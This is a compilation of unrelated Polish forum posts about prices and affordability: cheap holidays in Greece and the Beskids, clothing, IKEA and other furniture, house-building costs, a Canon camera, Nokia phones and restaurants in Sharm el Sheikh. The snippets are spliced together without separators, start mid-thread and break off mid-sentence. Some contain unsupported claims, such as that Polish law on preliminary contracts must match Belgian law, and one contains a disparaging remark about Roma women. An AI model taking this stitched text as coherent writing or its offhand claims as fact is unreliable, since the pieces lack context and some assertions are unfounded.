www.bgfl.org/bgfl/custom/resources_ftp/client_ftp/ks2/music/piano/index.htm
tylko G mi brakuje, bo klawiatura za krótka.
A swoją drogą, czy wasi nauczyciele stroją do pianina? Nasz stroi bez
punktu odniesienia, na samo ucho.
Tak wyglądał bardzo fajnie,domki dość blisko siebie, ale chyba
wszędzie liczy się miejsce -im więcej tym lepiej.Ja byłam w ośrodku
na przeciwko, do polamu chodziliśmy na obiady - naprawde smaczne i
niedrogie.Tylko jedna rzecz - nie wierz w te 400 m do morza... chyba
że w lini prostej, co jest niemożliwe do przejścia.W rzeczywistości
najbliższym wejściem (szeroka droga pod górę) ok 1 km może nawet
trochę więcej.
Może mln by nie wystarczył na bezkolizyjną estakadę, ale my mamy drogi "krajowe" bez wymalowanych pasów pośrodku, przy krawędzi i bez słupków z odblaskami (jechałem ostatnio taką w nocy w lekkiej mgle - zapewniam szara droga od szarej niedrogi nie różni się absolutnie niczym. zjechanie z asfaltu rozpoznaje się po dzwiekul). WYmalowanie pasów chyba nie kosztuje 1000000PLN. No ale nie byloby newsa i Pan Prezydent nie miałby czym się chwalić.

A dla orędowników takich puszek przy rondach - chyba czegoś nei kumam, ale po grzyba Wam wykrywanie przejeżdżania na czerwonym na rondach, czyli w miejscu gdzie nie ma świateł???
Są osoby ubrane bardzo stylowo i za 3 złote w lumpexie. Ja z różnych
powodów tam nie zaglądam...
Street-style nie jest drogi, więc się nie zgodzę.
Naprawdę można mieć parę ciuchów i być ubranym "dobrze".
Wiem na pewno, że nigdy nie kupię torby za 20 złotych i nie będę mieć
tych toreb 20, bo wybieram pewną ponadczasowość. Zawsze bezpieczna
jest klasyka, ale przełamana. Ubrania kupuję, gdy już muszę, gdy
sama sobie się opatrzyłam, to moja lampka kontrolna. Sama dla siebie
jestem ubrana całkiem nieźle i nie za fortunę.
Wiem na pewno, że za chwilę będę chciała mieć czarny sweter przez
głowę. Mam szczęście, bo mama zaczyna mieć "sezon" machania
drutami właśnie w listopadzie. Czarne buty ulubionej firmy. 200-300
złotych to majątek? Nie palę, nie piję... To czasem kwestia wyboru.
Popatrz jeszcze raz na tych Duńczyków, naprawdę ubrani niedrogo.
Swoją drogą, jak się ubierasz? Jestem ciekawska
dzięki za odzew.
chyba w końcowym efekcie teraz kupię drewniane
www.allegro.pl/item397023790_lozeczko_radek_iii_teak_klups_materac_gryka_kok.html
a pozniej jakieś niedrogie turystyczne na wyjazdy i do babci.

A może znacie jakieś fajne sklepy z rzeczami dla dzieci na terenie
Zagłębia Dąbrowskiego? Mnie koleżanki polecały "Boćka" w Zabrzu - w
głowie się kręci jak tam się wchodzi - ale to ode mnie kawałek drogi.
Współny wyjazd do Grecji...Samochodami!!!!
Witam! Ja i mąż szukamy towarzystwa na na wyprawę do
Grecji.Jesteśmy zainteresowani towarzystwem osób, posiadajacych
własny samochód. Zamierzamy wyjechać 21.06.2009 na dwa, trzy
tygodnie.Mamy namiary na niedrogie miejsca noclegowe w różnych
rejonach Grecji. Nie uprawiamy prowizorki. Podsypianie w drodze, w
samochodzie to nie nasz styl!!! Niezbyt drogo, ale wygodnie i z
klasą - TO nasza dewiza Znamy Grecję i dość dobrze język grecki.
Jeździmy przez Jugosławię. Wiek 45-50 lat; jeśli odpowiada - prosimy
o kontakt. Wspólna droga jest zazwyczaj ciekawszai i
BEZPIECZNIEJSZA!!! Lubimy zwiedzanie, spokój i dobre jedzenie. Fajne
towarzystwo i dyskusje, byle nie o polityce też mile widziane.
Planujemy podróż przez Pireę, na wybrzeże Adriatyku do Pargi i na
wyspę Kortfu. glabusek.

PS. Grecję można przy nas dobrze poznać, bo bywamy tam w każde
wakacje, a ja, spdziłam tam kilka lat. Z góry uprzedzamy, że raczej
cenimy sobie spokój.
Canon EOS 1000D
Drodzy redaktorzy: dlaczego publikujecie tak słaby merytorycznie
tekst. Już sam początek znamionuje, że autor słabo posługuje się
językiem polskim nie mówiąc o znajomości tematu.Po co pisać w jednym
zdaniu, że 1000D to lustrzanka "tania, niedroga" pomijając sam
aspekt logiczny tej wypowiedzi - ma ona jeszcze jedną wadę: to
stwierdzenie jest fałszywe!!! Po pierwsze dlatego, że EOS 1000D jest
lustrzanką właśnie drogą!!! Zubożona wersja 450D tak naprawdę jest
niewtłumaczalnym manewrem Canona, który chciał zagospodarować
segment low-end i wyprodukować odpowiednik Olympusa E420 lub Nikona
D60. Niestety nie wyszło: Olympus w tej cenie oferuje 2 obiektywy, z
Nikonem będzie podobnie. Najśmieszniejsze, że 450D - całkiem niezły
aparat można kupuć za 2400 zł. 1000D pomimo dobrych chęci jest kulą
w płot: bo ani nie jest mały jak E420 - co by było atutem w walce o
segment ani tani.
Kraków nie chce być drogi dla turystów
Droga Pani Lejo! Taka podstawowa dla turysty z dziećmi sprawa: gdzie w obrębie
Rynku można znaleźć toaletę? Brak też niedrogich barów. Jeżeli nie ma Pani o tym
pojęcia, to nie nadaje się Pani na zajmowane przez siebie stanowisko! Kraków
odstraszy każdego turystę brudem i drożyzną.Czy to tak trudno zrozumieć? Co chce
Pani promować? Może te Cyganki z dziećmi zaczepiające na każdym kroku turystów,
może te obsikane, oklejone guma do żucia chodniki, smród i całą tę jarmarczną
tandetę jaką oferujecie?
Moja droga to cienko. Ja ostatnio widzialam w Mango buty za 369 zł co według
nich było równe 69,90 Euro. Nie wiem jak w innych miastach ale w Krakowie
poszczególne modele w danym rozmiarze czesto sprowadzane sa w pojedynczych
sztukach. To co zostaje do wyprzedaży jest z reguły mało ciekawe, a juz o 70 %
wyprzedaży mozna marzyć. Tylko rzeczy poplamione, poprute z pourywanymi guzikami
zazwyczaj na to zasługują. Ostatnio byłam w Monnari - 20 % wyprzedaż a żakiet
juz 2 guzików nie ma - żenada- do takich sklepów wchodze tylko raz, ale pewnie
znajda sie inni naiwni. Czasami warto zagladac do Galerii Centrum tam mozna
znalesc rzeczy w 70 % i wtedy jest to dobra cena.
Niestety jesli nosi sie prozmiar 36,38 lub buty w rozmiarze 37,38 to naprawde
ciezko znalesc cos fajnego i niedrogiego. W ciagu pół roku kupiłam tak sobie
chyba z 3 rzeczy i to w H&M - kremowa wełnianą spodnice z h&M Madonna, do tego
bluzke w stylu sekretarskim wszystko za 50% wartości i 1 sweter z 70% przeceny i
to wszystko.
Powiedzmy sobie w Polsce drogie luksusowe sklepy sa czesto pralnia brudnych
pieniedzy i sklep ma nie przynosic zyski a sluzyc czemus innemu. W Krakowie
przynajmniej to żadna tajemnica.
No cóż, biedny Prezio zza Wiebarka! Czy będzie kolejna masza za stan
Czesia w Bazylice Miniejszej? Czy będą kolejne listy popracia ze
strany WySRolu?
Ludzie ten człowiek nie jest godny sprawowania Urzędu.

Jak odwołac Prezydenta?
Platformo droga (sorry juz niedroga, tylko hipokrtyczna), kodeks
pracy za 9,99 PLN. Układzijk Dabkowera z TW'Jeż" jest to na rękę, co
nie?

P.S.
Drózka do "pałacyku", na przejętej od UWM ziemi w niewyjaśnionych
okolicznościach, się buduje. Szkoda, że np. Artyleryjska to sen,
drogi na Likusach budowano 30 lat etc., ale kto (większość osób) ma
władzę ten nagina przyzwoitość!
Kaufland drogi? Chyba mamy różne definicje drogich sklepów
Droga to jest Alma, no ale to w końcu _Delikatesy_
Jeśli chcesz w Kauflandzie kupić coś naprawdę niedrogiego, to
wybieraj ich marki własne (Vita Star, Grande, Vian albo bez nazwy za
to z dużym czerwonym firmowym "K" i informacją, że dany produkt
wyprodukowano dla Kauflandu).
świetna miejscowość w Beskidach
Polecam Wierchomlę, to jest w okolicach Muszyny i Piwnicznej, świetne miejsce,
a hotel latem niedrogi a bardzo wygodny, fajne też są drewniane domki o
standardzie hotelowym (ok 25 zł za osobę), ale w hotelu masz pełen luksus i
basen kryty z brodzikiem dla dzidziusiów za darmo.
W ogóle dużo rzeczy jest za darmo jak się jest gościem hotelu (np. sauna,
jacuzzi, siłownia, solarium, śniadania, sala zabaw dla dzieci, kafejka
internetowa) nocleg kosztuje 75 zł od osoby, dzieci nie płacą. Myślę, że warto.
A okolica cudna i piękne trasy spacerowe.

forum.gazeta.pl/forum/71,1.html?f=46644
z tego forum wejdź na link "Stacja Narciarska Wierchomla", tam będą informacje
o wszystkim.

forum.gazeta.pl/forum/71,1.html?f=46644
Przez ostatni rok często bywałem w Lublinie i musze powiedzieć, że zrobił na
mnie b.dobre wrażenie, piękna starówka, drogi miejscami szerokie, skrzyżowania
bezkolizyjne, remontów też nie mało, w centrum można zjeść niedrogo dobry obiad
(tu Rzeszów jest wg mnie daleko z tyłu). Ludzie których poznałem z reguły
towarzyscy i gościnni. Droga do Lublina wg mnie lepsza niż do Krakowa, a na
pewno szybsza.
pzdr. dla Lublina
drogi wuju;)
wybieramy sie wkrotce z narzeczonym rowniez autem do wloch - choc nie tak
daleko jak ty, My zmierzam na pólnoc Wloch w okolice Bolonii. Ale poniewaz
jechales rowniez autem - chcialam sie dowiedziec o sama trase? ktoredy
jechales? my wyjezdzamy z w-wy- i planujemy jechac przez niemcy, pozniej
kawaleczek austrii (wiec monachium - innsbruck - trento, droga nr E45).
Moze masz jakies namiary na kwatery / motel w okolicach granicy niemiecko-
austriackiej, powiedzmy na odcinku monachium - innsbruck. zalezy mi na
wygodnym, niedrogim noclegu, mozliwie najblizej autostrady.
wielkie dzieki za wszystkie wskazowki,
pzdr
restauracje przyjazne dzieciom
Wątek nt. włoskiej knajpy mnie zainspirował - znacie fajne
restauracje, gdzie można pójść na obiad z dzieckiem? Tzn. takie,
żeby było coś do zabawy dla dzieciaka, no i z menu żeby coś się dało
wybrać... Bo ja z takich znam niestety tylko dwie: Pizza Hut i
Ikea Nie żeby złe, no ale same rozumiecie... Marzyłoby mi sie
coś jak Santorini albo Banja Luka albo Tradycja... (no rozszalałam
się) - niekoniecznie same top drogie, najlepiej, żeby różne wersje
cenowe dało sie wybrać - może sie uda stworzyc taki ranking???
proponuje dopisywać z kategorią cenową w tytule np. NIEDROGA -
ŚREDNIO DROGA - DROGA - zaczynam poniżej...
giorgio_primo napisał:

Żeby
> kupować drogie wina w naprawdę dobrych cenach trzeba poznać pewne
> mechanizmy i poszukać trochę informacji. Zwykle producenci tacy
jak
> Sandrone czy La Spinetta utrzymują w swoich sklepie/winnicy bardzo
> wysoką cenę, często wyższą niż nawet w niezbyt odległych
enotekach.
> Dotyczy to niemal zawsze takich winiarzy, których wyłączną
> dystrybucją na określonym terenie zajmują się hurtownicy. W
wypadku
> takich którzy parają się dystrybucją sami zwykle zakup w winnicy
> będzie korzystny. Mechanizm jest podobny jak w wypadku wysoko
> notowanych Bordeaux, tak ja wspominają o tym BB w WE.
>

To dobra rada, dzięki :).

>
> Podam Ci przykład z przed miesiąca ilustrujący takie różnice:
>
> W Grinzane jest obecnie sklep La Spinetty w którym można było do
> niedawna wciąż zakupić Barolo Campe 2000, okrzyczane jako istne
cudo
> choćby przez WS. Kosztuje blisko 100 €. To samo wino zakupiłem 500
> km od tego sklepu za niecałe 50 €. Przy 12 butelkach są to różnice
> warte zainteresowania. W każdym razie dla mnie.
>

Masz ewidentny talent do kupowania niedrogo :). Pewnie to był jakiś
mały sklepik w okolicy gdzie jest mało chętnych do kupowania drogich
butelek :). Inna sprawa, że Spinetta jest ogólnie uważana za
zdecydowanie zbyt drogą, ale trochę jak Gaja ma swoich wiernych
miłośników.
Wybudował ktos domek za 200tys zł?????
Mmam dylemat budować czy nie, po kilku rozmowach z tymi co już są po
budowie robie się coraz bardziej niezdecydowany, jedni mówia że nie
ma problemu inni zaś że jak nie mam 300tys to lepiej się niebudować,
działke już mam, medii na niej niema-wszystko trzeba ciagnać, domek
miał by być niewielki 100-120m2 w tej cenie czy wykoncze go białym
montażem, mieszkam w 50tysiecznym miasteczku więc koszty robocizny
nie jak we Wroclawiu czy Wa-wie, a moze ktoś ma jakaś stronke do
firmy co zajmuje się niedrogo budową domu pod klucz, słyszałem że
Czesi tanio budują domy drewniane ale nie moge znaleść żadnej
stronki do takiej firmy,
za info z góry dzieki
meble łazienkowe
Szukam ładnych mebli do łazienki. To co widzę w sklepach nie napawa mnie
optymizmem- wszystkie meble takie same, w ohydnej, białej okleinie, albo
meble "Koła" lub firmy "Plusa". Drogo, nieciekawy design, tandetne wykonanie,
po prostu tragedia!. Może znacie kogoś w Warszawie lub okolicach kto dobrze i
NAPRAWDĘ NIEDROGO robi ładne meble - chodzi mi trzy rzeczy - szafkę pod
umywalkę, słupek wysoki narozny (taki 40x40 cm) i szafkę na brudną bieliznę -
najlepiej z ciemnego drewna lub w ciemnej okleinie. Z góry dziękuje za
wszystkie informacje!
Nocleg w Czechach
Gość portalu: Piotrek napisał(a):

"mam zamiar przenocowac w Czechach drodze do Chorwacji gdzies przed granica Aust
riacka. Czy znasz jakies niedrogie miejsce na nocleg?"

Spałem kiedyś na kempingu nad jeziorem, przed miejscowością Mikulov ( nota bene
bardzo uroczą i wartą krótkiego spaceru) - przejście drogowe Czechy, Austria na
trasie Brno - Wiedeń. Są tam domki. Nocleg w murowanych, dwa lata temu kosztował
jakieś 20 zł od osoby, w drewnianych (polecam tylko zdesperowanym) około 10 zł.
Nie była to rewelacja, ale tanio - innych namiarów nie znam
czym zaimpregnować krzesła??
Kupiłam krzesła na balkon z drewna egzotycznego. Poradzono mi aby je
zaimpregnować, tzn. zaolejować.
Oglądałam preparaty do impregnacji mebli ogrodowych, ale są strasznie drogie
( może tylko ja takie widziałam)
Sprzedawca poradził mi zaolejowanie zwykłym olejem jadalnym ale... obawiam
się trochę tego. Czy krzesła nie beda przez to tłuste?
Moze ktoś poleci dobry i niedrogi preparat?
ktat to duzy domek budujecie! my to max 150 metrów. z bali takich drewnianych
kryty strzecha. a budujemy sie za łomiankami. mam niedrogiego i bardzo dobrego
fachowca od mebli jak chcesz to dam ci namiary.
beckas jak bym siebie slyszała normalnie bratnie dusze. czułam to samo ale
gdzies w srodku siedzi we mnie taki krytyczny potworek ktory mi mowi ze bede
miała wszystko piekny domek, maciejke i rozmaryn pod oknem i bede siedziec z
kubkiem herbaty na ganku sama i nie bede słszeć smiechu swoich dzieci.
W Sharm el Sheikh są setki restauracji. Oczywiście w większości hoteli wybornie
karmią, więc zjeść na mieście wychodzi się tylko po to, aby skosztować coś
specjalnego.

Bardzo często są to ryby i owoce morza.

Bardzo dobrą restauracją jest Fares w Sharm. Mają absolutnie najświeższe
produkty. Jeśli macie ograniczone fundusze możecie zamówić ryby itp. na wynos w
mini hurtowni przylegającej do restauracji (ta sama firma). Możecie też tutaj
wybrać ryby do przyrządzenia w restauracji.

Z delikatnej w smaku zupy „owoce morza” słynie restauracja – pizzeria „Melody”
(Sharm).
Porcja zupy jest bardzo duża, więc lepiej nie zamawiać innych potraw póki jej
się nie zje..
Do każdej porcji dostajecie świeżutki chlebek wypiekany na miejscu i sosy.
Bardzo dobre i niedrogie pizze.

Bardzo dobrą restauracją z egipskimi daniami mięsnymi jest „El Masreen” również
w Sharm (Starym Mieście). Wspaniałe dodatki do dań.

Naama Bay – generalnie drogie restauracje.

Polecam Pomodoro w Camel Hotel na lunch. Szwedzki stół – codziennie inna
kuchnia, dania mięsne, rybne, sałatki. Mimo, że za każdym razem mówię sobie, że
tym razem nie będę tyle jadł zawsze ledwo wychodzę.. I tak samo dzieje się z innymi.

Restauracja Tandori w tym samym hotelu.
Kuchnia indyjska – najlepsza w SSH

Mongolskie BBQ – hotel Ocean Bay Hotel

Kona Kai – Sushi, Teppanyaki – Marriott Beach Resort Naama Bay

Little Buddha – bardzo droga - kuchnia dalekiego wschodu
400zl za metr biezacy (jaka grubosc?) malo popularnego kamienia (po ludzku mowiac brzydkiego) to niedrogo (a ile obrobka, a ile montaz?)? najdrozszy blat z drewna egzotycznego jaki widzialem kosztowal cos kolo 300zl za mb, a mozna kupic i po 150zl...swoja droga, skoro kamien jest tak tani to czemu za nagrobek wlasnie licza tak drogo?
Sprawdz moze Cafe Lulu - obok targu (nie wiem nawet jaka tam ulica jest, jest to
knajpka w budynku obok targu, od strony torów kolejowych) - miejsca może tam nie
za wiele (choć jak na świdnickie warunki to raczej standard), ale z pewnością
jest klimat, a i piwko nie jest drogie.

W miarę fajnie też jest w "Zagłobie" niedaleko kina - nazwa może odstraszać bo
jest to w budynku gdzie przed 89 rokiem była pijalnia piwa o takiej nazwie, ale
na szczęście została po niej tylko nazwa :-). Knajpka cała w drewnie, jest
kominek, niedrogie piwko, i ogólnie raczej miło. A jak będziesz w Zagłobie to
obok jest też knajpka "Pod Parasolkami" - sporo miejsca, tanie piwko, ostatnio
koncerty muzyki irlandzkiej(chyba co dwa tygodnie) - także jest naprawde bardzo
fajnie.
Ale i tak klimat tworzy się dzięki ludziom z którymi się to piwko pije;-)) i
wszędzie można się dobrze bawić (oczywiści wyłączając pijalnie piwa w stylu
murzynek, pingwinek, itp.)
Jak będziesz miał jeszcze jakieś pytania to pytaj.
Jeśli nie znajdziesz nic ciekawego wśród używanych domków
drewnianych to proponuję przemyśleć dwa rozwiązania.
Niedrogo wychodzi postawienie domku z płyt betonowych, ja budowałam
trzy lata temu i wtedy pełne płyty kosztowały 12,50 zł za sztukę a
koszt ścian i podłogi razem ze słupami wyniósł ok. 500 zł, do tego
dochodzi dach, w zależności od tego z czego to od 300 zł do nawet 2
tys za dachówkę. Ale domek wygląda bardzo dobrze jest szczelny i
trwały. Trzymam tam kosiarki, rowery, narzędzia ogrodnicze. Płyty są
uszczelnione pianką, więc śnieg nie dostaje się do środka.
Postawienie domku nie zaszkodziło ogrodowi, który już był
zagospodarowany, bo tylko słupy były zalewane betonem gotowym
sprzedawanym w workach, cała reszta była "składana" na sucho.

Mój sąsiad z kolei zrobił sobie domek na bazie konstrukcji stalowej
do której dokręcił panele drewniane (sprzedawane jako płot). Nie
wiem ile to go kosztowało, ale na pewno też nie za dużo. Narzekał
tylko na cenę dachówki bitumicznej (niestety kosztuje tyle co
ceramiczna). Ale jego domek tez nieźle się prezentuje.

Pozdrawiam i życzę fajnego domku.
Dorota
Geniusz i fenomen sukcesu firmy z finlandii jest zaproponowanie całej gamy
telefonów dla wszystkich, od tych bardzo prostych i niedrogich, po bardzo
zaawansowane drogie.
Jeśli ktoś wymaga to płaci.
Argumenty, że Nokia jest droga są poronione.
Prosze porównać wszystkie inne marki i jak po okresie roku spadła cena w
porównaniu do nowego modelu?
Oczywiście w przypadku Nokii jest to spadek najmniejszy.
Używam Nokii 6600 i za żadne skarby nie zamienił bym jej na inny model.
Następcą będzie któryś z serii N.
Testy są nic nie warte. O powodzeniu sprzętu lub marki decyduje jej popularność
wśród kupujących i to jest najważniejsze.
Gość portalu: jarekdo napisał(a):

> Geniusz i fenomen sukcesu firmy z finlandii jest zaproponowanie całej gamy
> telefonów dla wszystkich, od tych bardzo prostych i niedrogich, po bardzo
> zaawansowane drogie.
> Jeśli ktoś wymaga to płaci.
> Argumenty, że Nokia jest droga są poronione.
> Prosze porównać wszystkie inne marki i jak po okresie roku spadła cena w
> porównaniu do nowego modelu?
> Oczywiście w przypadku Nokii jest to spadek najmniejszy.
Jak zwykle nie na temat.

> Używam Nokii 6600 i za żadne skarby nie zamienił bym jej na inny model.
> Następcą będzie któryś z serii N.
Sam kupiłbym sobie 6600 gdyby tylko miała lepszy wyświetlacz.

> Testy są nic nie warte. O powodzeniu sprzętu lub marki decyduje jej popularność
>
> wśród kupujących i to jest najważniejsze.

LOL.
rok temu całkowicie meblowałam , wyposażałam dom .

co do kuchni, mieliśmy wybrana z ikei (meble) stat biały .polecam piękne
drewniane blaty tez z ikei , mogą tez być jako blat w łazience. czekaliśmy na
jakaś akcje promocyjna i kopiliśmy meble z transportem za 1zl.teraz widziałam
rożne przeceny frontów.

przy okazji okazało sie iz jest wyprzedza mebli i agd z ekspozycji i tym samym
kupiliśmy cale agd za jednym zamachem za pol ceny. agd nowe seria whirpool dla
ikei. jestem z niego bardzo zadowolona , choc teraz lodówkę kupiłabym taka duza
podwójna. zaleta taka ze wszystko bardzo fajnie pasuje do mebli.

co do zmywarki tak jak i suszarka do ubrań jak dla mnie niezbędna .
dużo gotuje wiec zmywaka to mega wygodna i naczynia so naprawdę czyste. płyta
elektryczna tez super rozwiązanie.

co do baterii w kuchni z ikei bo bardzo ładne i niedrogie reszta grohe bardzo
dobre. co do ceramiki lubię proste formy strasznie podobał mi sie villeroy ale
ceny porażające wiec znalazłam proste białe duże płyty w leroy i sa absolutnie
super

pozatym polecam zagladac na sprzedaz okazyjna w ikei w ten sposob tanio duzo
fajnych rzeczy kupilam, takze allegro.

w lazince jak masz miejsce osobno wanna i prysznic , jak będziesz ostawiała
umywalkę pomysł o wbudowaniu jej w blat wyzej niz standardowo. dobra wysokość
to wysokość jak w kuchni blatów. wtedy jest dużo wygodniej.

jeśli jeszcze coś daj znać , pozdrawiam i gratulacje za nowe mieszkanko!
Ikea jest niedroga, ma niezły design, jest funkcjonalna, wszystko do
wszystkiego pasuje, ma długie serie, a nawet zdarza im się zrobić
coś naprawdę solidnego (np. stoły z litego drewna), jest doskonała
do szybkiego umeblowania pierwszego mieszkania

oferta mebli w Polsce jest IMHO do doopy, do niedawna wybór był
pomiędzy superniskobudżetowym badziewiem, meblami w pretensjach typu
rzeczony Kler czy inny Swarzędz, a bardzo drogimi meblami włoskimi,
sprowadzanymi na zamówienie, też dalekimi od awangardy - a jak bym
wydawała na kanapę kilkadziesiąt tysięcy złotych, to wolałabym mieć
coś bardziej topowego

teraz zaczyna być trochę lepiej, ale w dalszym ciągu Ikea jest
propozycją w zasadzie bez konkurencji

w kwestii mebli i sprzętów dla dzieci poza Ikeą (wszak daleką od
doskonałości) jest moim zdaniem kaszanka absolutna, podobnie jest z
bielizną pościelową, jeśli komuś nie leży styl rozmemłano-kwiatkowy
albo quasipałacowy

co do skandynawskiego designu - zdecydowanie preferuję, może nie aż
tak uproszczony jak Ikeowy, ale co do zasady to jest numer jeden na
mojej liście

a lenistwo? a dlaczego kupowanie podstawowych rzczy ma się wiązać z
opętańczym lataniem po tysiącu sklepów? ostatnio, przy okazji
robienia projektu zagospodarowania nowego domu doszłam do wniosku,
że wymyślanie i cyzelowanie przestrzeni bawi mnie na etapie
projektowania, latać po sklepach już mi się nie chce

no chyba, że po internetowych
Mycha,

nie ma problemu. Cos więcej o sali ?! Jest w szczerym polu, z tyłu zaczyna się
las, cały budynek nie jest jeszcze skończony, ale u mnie 28.04.07 maja być trzy
pokoje, teraz współpracują z dwoam hotelami we Wrocławiu boczna Hubskiej i
jeszcze drugi, ale nie pamiętam, mam w domu, 30-40 zł z łazienkami. Można
załatwić niedrogi transport, autobus. Do dworku prowadzi 1,5 km polnej drogi
niezbyt prostej, ale wałaściciel ma ja co jakiś czas róznać tylko musi kupić
maszynę. Podczas tej drogi, gdzieś w połowie jest niezbyt dobrze wyglądający
gnojownik ale można przeżyć. Na stronie masz numery telefonów, pierwszy jest
do Pana, drugi do Pani, oboje właściciele przesympatyczni i konkretni. Sala
jest chłodna ale można ją zagrzać, robią imprezy w zimie. Cena: 140 zł, bez
ciast, wódy, soków i owoców.
Jak chesz się przejechać to jest to w Żórawinie. Znam tylko drogę z autostrady,
Wpadasz na autostradę na Katowice, jedziesz do zjazdu Wrocław Wschód, póxniej
skręcasz w lewo, za stacją na skrzyżowaniu w lewo, i dojeżdzasz do
miejscowości. W Żórawinie skręcasz na na Węgry, jedziesz jakieś 0,5 km jest
skrzyżowanie, skręcasz w prawo i to jest ta polna droga. Jeśli chcesz wiedzieć
więcej pisz

Zuza
Kable
Jak dajecie sobie radę z kablami? W przeciętnym mieszkaniu jest kabel od
kablówki i od telefonu i często też od sieci komputerowej czy dostawcy
internetu. Czy te kable kłaść w listwach wzdłuż ściany (nie mieszczą się, chyba
że kupię plastikowe listwy a chciałabym drewniane) czy pod podłogą, czy w ogóle
wkuć w ścianę i zatynkować? W tych ostatnich przypadkach potrzebne są gniazda w
ścianach i o ile z telewizyjnymi i telefonicznymi nie ma problemu bo mocno już
siedzą w naszej tradycji to o gniazdach do sieci komputerowej nikt z branży
remontowej nie słyszał. A firmy zajmujące się tym profesjonalnie biorą 250 zł
od punktu czyli moim zdaniem za drogo. Więc chyba na własną rękę kupię te
gniazda, wkuję w ścianę za 40 zł i podłączę do kabla.. tylko jak???

Jest jeszcze coś takiego jak okablowanie multimedialne mieszkań ale udało mi
się znaleźć tylko jedną firmę, mieszczącą się w Puławach. Więc czy ktoś ma może
doświadczenia w tej kwestii albo zna podobną firmę i niedrogą w okolicach
Warszawy? To podobno załatwia wszystkie możliwe kable w formie jednego kabla
multimedialnego, tylko nie wiem czy można tak zrobić w jednym mieszkaniu
zamiast w całym budynku.
A ja płacę we Wrocławiu za mieszkanie 65 m2 700 zł plus prąd gaz. Bez ochrony,
do sprzątania można się przyczepić.
moja matka płaci za utrzymanie domu (z ogrzaniem) ok. 1/4 tej kwoty.

Można wybudować mały dom powtarzam 90-100 m2 za 130 -150 tys. (jak się ktoś
uprze to nawet z niedrogą działką).
Moje mieszkanie jest warte 200 tys, mogę za to wybudować 150 m2 (bez
wodotrysków i bajerów). Za ogrzewanie domu nie sądzę żebym płaciła 700 zł
miesięcznie, chyba że przy 15 st mrozie i otwartych na oścież oknach.
mozna grzać w domu kominkiem - drewno na sezon kosztuje ok. 1000 - 1300 zł
przez 6 miesięcy sezonu grzewczego daje 200 zł na miesiąc, ogrzewam gazem tylko
wodę i dogrzewam jek temperatura spada terminalnie.

Dlatego będę budować dom.
Na 60 metrach nie da się żyć z dwójką dzieci.
szukam dobrego stolarza
czy ktoś mógłby mi polecić dobrego (i niedrogiego)stolarza z warszawy lub
okolic ? szukam kogoś kto zechciałby mi zrobic domek z drewna do zabawy dla
córki oraz inne meble (łózko,biurko, półki)do dziecinnego pokoju. domek ma być
taki do którego dziecko może wejśc, z drzwiami i oknami. jak na razie nikt nie
chce sie podjąć zrobienia czegoś takiego, a dziecko bardzo mnie prosi.
Mam nadzieję, że nie zasmucę Cię do końca tymi informacjami, ale niestety dwoje moich różnych znajomych ma meble BRW i żadne z nich nie jest zadowolone:

Koleżanka ma kilka mebli z systemu XXI (meble pokojowe - sztandarowy produkt firmy) i niestety mechanizmy szuflad i zawiasy przestały dobrze funkcjonować po mniej więcej 8 miesiącach po kupieniu mebli, co więcej stały te meble w pokoju, w którym dość intensywnie świeciło słońce i bardzo szybko pod jego wpływem zmieniły kolor na jakiś taki zielonkawo-bury.

Z kolei inna znajoma ma meble kuchenne - te najtańsze Ola, a nie nieco droższe Sonia, Klaudia, Wenecja, Padwa - i też są problemy z okuciami i mechanizmami, a także odpryskuje laminat na krawędziach półek. Ponoć te cztery droższe modele od niedawna w ofercie tej firmy są nieco lepszej jakości, ale moja znajoma kupiła swoje meble zanim te ostanie były dostępne.

Jeśli szukasz niedrogich mebli o porównywalnym parametrach to możesz jeszcze rzucić okiem na meble Forte FORMIX - tanie, w paczkach do samodzielnego montażu, podobne ceny i ponoć lepsza jakość, koleżanka( ta od systemu XXI) ma właśnie meble z tego systemu od około półtora roku i jest z nich zadowolona. Nawet mnie namówiła na takie tanie meble FORLISA – waniliowe fronty i korpusy imitujące drewno wiśniowe.

Niestety w sklepach Forte obsługa wypada różnie, raz lepiej raz gorzej, a te meble wystawiają gdzieś po kątach, tak żeby klienci zwracali najpierw uwagę na drogie meble studia kuchennego Forte, których jakość i wzornictwo nie uzasadniają wysokich cen.

Stynka
Skoro tak, to roznie rozumiemy role umowy przedwstepnej. Jak sama nazwa
wskazuje, jest to nic wiecej niz wyrazenie woli obu stron zawarcia aktu
notarialnego. Nie ma sensu, by umowe przedwstepna zawierac przed notariuszem,
sporzadza sie ja w dwoch jednobrzmiacych egzemplarzach, ktore pozniej
przedklada sie notariuszowi. W umowie przedwstepnej mozna zawrzec wszelkie
umowione klauzule. Na przyklad taka, ze strony umawiaja sie co do tego, ze
zadnych innych obciazen, sluzebnosci itp nie bedzie i ze cena jest ostateczna.
I koniec. Tu w Belgii, od podpisania umowy przedwstepnej do podpisania aktu
notarialnego nie moze uplynac wiecej niz 4 miesiace, inaczej umowa wygasa.
Poniewaz kodeksy cywilne obu krajow zostaly narzucone przez te sama osobe, sa
takie same, wiec i w Polsce istnieje na pewno taka sama regulacja.
Wiec nadal nie rozumiem. Jesli w umowie przedwstepnej nie bylo nic o miejscu
parkingowym, a w akcie notarialnym jest, to ja to mowie notariuszowi i
protestuje. Jesli sprzedawca sie nie zgadza, podejmuje dalsze kroki,
ewentualnie zmuszam go do sprzedazy na mocy umowy przedwstepnej droga sadowa
(klopotliwe) albo ide do kogos innego, nauczony doswiadczeniem, zeby ten
szczegol sprawdzic. Okazji do kupienia lokum w Polsce jest tyle, ze na pewno
cos sie znajdzie. I wcale niedrogo (stosunkowo). Natomiast uslugi notariusza
sa drogie, wiec nie ma sensu dwukrotnie za nie placic.
Święte słowa manra. Ja bym jeszcze dodała, że marzy mi sie w pełni kompetentny i kochający swoje miasto wydział architektury, inwestorzy, którzy będą wrażliwi na estetykę tego co budują (albo prawo zmuszające ich to tej wrażliwości), akcję wśród młodzieży mającej zapobiegać napisom "Wisła pany" na świeżo wyremontowanych budynkach, komfortowe lotnisko i infrastruktura drogich i niedrogich hoteli. Owszem atrakcyjne centrum konferencyjne, albo nawet centra konferencyjne, sala koncertowa, opera, operetka, lepszy poziom teatrów to też by bardzo pomogło miastu być naprawdę stolica kulturalną kraju.Postawić na ekskluzywność, nie podnosząc ceny na tandetę, ale prezentując naprawdę wielką klasę, to według mnie droga dla Krakowa.
wilgoć na ścianach piwnicy
mam problem nieogrodowy, ale może, może znajdę tu pomoc, czy choćby wskazanie
kierunku szukania pomocy.
Zostałam właścicielka domku poniemieckiego i teraz go remontuję. Za
najważniejsze uznałam osuszenie zawilgoconych piwnic - nie ma w nich wody tylko
